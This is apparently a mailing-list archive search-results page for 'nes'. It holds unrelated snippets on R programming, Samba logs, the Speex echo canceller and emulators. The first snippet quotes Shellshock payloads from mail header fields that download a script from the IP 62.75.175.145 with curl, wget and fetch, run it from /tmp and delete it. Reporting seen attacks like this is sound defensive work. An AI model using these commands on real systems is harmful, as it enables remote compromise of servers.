search for: nes

...is specifically targeting dovecot). The idea is to insert shell commands into various header fields that would get executed as part of the message processing/delivery. Examples include: From: () {:;};/bin/sh -c 'cd /tmp;curl -sO 62.75.175.145/ex.sh;lwp-download http: //62.75.175.145/ex.sh at nes.txt.com;, wget at nes.txt.com, 62.75.175.145/ex.sh at nes.txt.com;, fetch at nes.txt.com, 62.75.175.145/ex.sh at nes.txt.com;, sh at nes.txt.com, ex.sh at nes.txt.com;, rm at nes.txt.com, -fr at nes.txt.com, ex.*'@nes.txt.com, &@nes.txt.com; Subject:() { :; }; /bin/sh -c 'cd /tmp ;...

...eck secret Wbinfo - u Error looking up domain users Wbinfo -g Just list BuiltIn Group I find recurrent error log winbind message: internal_get_sid_from_id: fetching record GID 513 [2004/10/29 00:35:10, 5] lib/smbldap.c:smbldap_search(963) smbldap_search: base => [ou=Idmap,dc=e-nes,dc=net], filter => [(&(objectClass=sambaIdmapEntry)(gidNumber=513))], scope => [2] [2004/10/29 00:35:10, 0] sam/idmap_ldap.c:ldap_get_sid_from_id(525) ldap_get_sid_from_id: mapping not found for gidNumber: 513 [2004/10/29 00:35:10, 1] nsswitch/winbindd_sid.c:winbindd_gid_to_sid(426)...

Hello, all. I'm new to R and just beginning to learn to write functions. I know I'm out of my depth posting here, and I'm sure my issue is mundane. But here goes. I'm analyzing the American National Election Study (nes), looking at mean values of a numeric dep_var (environ.therm) across values of a factor (partyid3). I use ddply from plyr and wtd.mean from Hmisc. The nes requires a weight var (wt). I use Rcmdr's plotMeans to obtain a line chart. The following code works: attach(nes) obj1 = ddply(nes, .(party...

...,"A",0.01) x1 <- c("Carl","A",0.2) x2 <- c("Gene","C",0.3) x3 <- c("James","A",-0.3) x4 <- c("Dough","B",0) xx <- rbind(x,x1,x2,x3,x4) colnames(xx)<-c("Name","Class","NES") xx <-as.data.frame(xx) > xx Name Class NES x Mike A 0.01 x1 Carl A 0.2 x2 Gene C 0.3 x3 James A -0.3 x4 Dough B 0 Now I want to create a matrix with unique xx$Name on columns and unique xx$Class as rows. I want to fill my choice of values (in this...

I'm having trouble getting the echo canceller to work and I'm hoping some one can get me started in diagnosing what's going on. The symptoms I'm seeing are these: 1. If the NES is silence (i.e., no echo, no speech), the ec puts the FES back into the audio. 2. If the NES is similar to the FES (same speech words), the ec doesn't seem to remove the echo. 3. For case #2, I pushed up the filter size to see if that would change anything. When I got to 1000ms filter size, t...

Hi! I'd like to play with snes, arcade and other retro games, but unfortunatelly there isn't any linux emus for this. So I run the emutaltor callus with wine, with medius succes: Callus works fine, everything is ok, but it uses 100% CPU, and becouse of that, the soung goes wrongs somethimes. I don't know why it is tak...

Jean-Marc, That was my first thought as well. However, I double checked everything and it wasn't reversed. I also reversed it to see what would happen. In that case, the NES came out unchanged. (This NES was the original FES.) Any other ideas? Also, do you know what algorithm is used? - Eric Scott > -----Original Message----- > From: Jean-Marc Valin [mailto:Jean-Marc.Valin@USherbrooke.ca] > Sent: Wednesday, July 27, 2005 8:43 PM > To: Eric Scott > C...

...iph.org > Subject: RE: [Speex-dev] Problems with Speex echo canceller in 1.1.10 > > > Jean-Marc, > > That was my first thought as well. However, I double checked > everything and it wasn't reversed. I also reversed it to see > what would happen. In that case, the NES came out unchanged. > (This NES was the original FES.) > > Any other ideas? Also, do you know what algorithm is used? > > - Eric Scott > > > -----Original Message----- > > From: Jean-Marc Valin [mailto:Jean-Marc.Valin@USherbrooke.ca] > > Sent: Wednesday, Ju...

...ara el tipo de problema (evitar los algoritmos más generales tipo optim si puede haber problemas de mínimos locales). Algunos casos que tengo resuelto con R incluirían programación cuadrática (e.g. quadprog), Levenberg-Marquardt para mínimos cuadrados no lineales (e.g. minpack.lm) y combinaciones de algoritmos (p.e. si la función es lineal en algunos parámetros). En el caso más general, si hay muchos óptimos locales o si la función objetivo es poco suave (incluso con discontinuidades), mi recomendación sería emplear un algoritmo genético (aunque hay otras alternativas como el temp...

Hi John, Thank-you very much for replying, - in answer to your questions: *"As I understand what you wrote, all factors but linelabel are crossed, with linelabel nested within all the other factors?" That's exactly it, *" What is in the highest order cells? Single observations, or multiple scores?" I would say "single observations" - but i have to confess I'm not entirely sure what you mean by "multiple scores"...

...#39;ve only played with this a couple of years ago... I believe you can just add each host _twice_ (or as many times as the number of CPUs at that host) to get both CPUs to work. Andy From: Paul Y. Peng > > Hi, > > does anybody know how to use the dual processors in the > machines of a cluster? I am using R with rpvm and snow > packages. I usually start pvm daemon and add host machines > first, and then run R to start my computing work. But I find > that only one processor in each machine is used in this way > and the other one always stays idle. Is there any...

...backward compatible and would end up throwing syntax errors on: function() return function() return 2*x function() return (2*x) + 1 while still accepting: function() return() function() return(2*x) function() return((2*x) + 1) Just my two Friday cents /Henrik On Fri, Nov 20, 2020 at 3:37 PM D?nes T?th <toth.denes at kogentum.hu> wrote: > > Yes, the behaviour of return() is absolutely consistent. I am wondering > though how many experienced R developers would predict the correct > return value just by looking at those code snippets. > > On 11/21/20 12:33 AM, Gabriel B...

...th <- function(...) length(substitute(expression(...))) - 1L # Usage (returns 3): dotlength(1, 4, something = undefined) How can I define a method for length() which could be called directly on `...`? Or is it an intention to extend the base length() function to accept ellipses? Regards, Denes

Greetings. I'm planning to make a point in a meeting tomorrow and want to make sure I've got my ducks in a row. I've got four distinct vectors: years, fec, gss, and nes. Years is simply seq(1972,1996,by=4), and the other three are measures of voter participation in US elections in those years. fec is the Federal Election Commission's numbers, gss and nes are the General Social Survey and the National Election Survey, respectively. What's interesting is th...

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...ol" I have a feeling all of this is just return() performing correctly though. If there are already R CMD CHECK checks for this kind of thing (I wasnt sure but I'm hearing from others there may be/are) that may be (and/or may need to be) sufficient. ~G On Fri, Nov 20, 2020 at 3:27 PM D?nes T?th <toth.denes at kogentum.hu> wrote: > Or even more illustratively: > > uneval_after_return <- function(x) { > return(x) * stop("Not evaluated") > } > uneval_after_return(1) > # [1] 1 > > On 11/20/20 10:12 PM, Mateo Obreg?n wrote: > > Dear...

...lti-element vector as 'keywords' in this case, but instead: stri_count_regex(text3, "[0-9]+\\) ") or: stri_count_regex(text3, "[[:digit:]]+\\) ") BTW, I do not understand why to use the stringr package if it is just a wrapper around the stringi package. Regards, Denes > keywords > > Count<-str_count(text3,keywords) > > === > > I am looking for Count<-c(3,0) > > Any suggestions? > > Thanks! > > Dan > > [[alternative HTML version deleted]] > > ______________________________________________ >...

...o cents would be that it would make more sense to (1) write > code to detect these constructions in existing R code (I'm not good at > this, but presumably "return() as anything other than the head of an > element of the body of a function" would work?) No, it's commonly nested within an if() expression, and could appear anywhere else. (2) apply it to some > corpus of R code to see whether it actually happens much; I did that, in the bug report #17180 I cited. In 2016 it appeared to be misused in about 100 packages. (3) if so, > add the test you wrote in...

Hi all, I have a large number of text strings to search for enumerated items. However, I am receiving this error message even though I thought that I properly escaped the special character closed parenthesis: > Count<-str_count(text3,keywords) Error in stri_count_regex(string, pattern, opts_regex = opts(pattern)) : Syntax error in regexp pattern. (U_REGEX_RULE_SYNTAX) === Here is

...ually to render the graph 'dynamic'... (for the biologist and bioinformatician, a R package which permitts to reproduce what pdb viewer does). Does a Way exist to do something like that in R ? Thanks, _________________________________________________________________ Inédit ! Des Emoticônes Déjantées! Installez les dans votre Messenger ! [[alternative HTML version deleted]]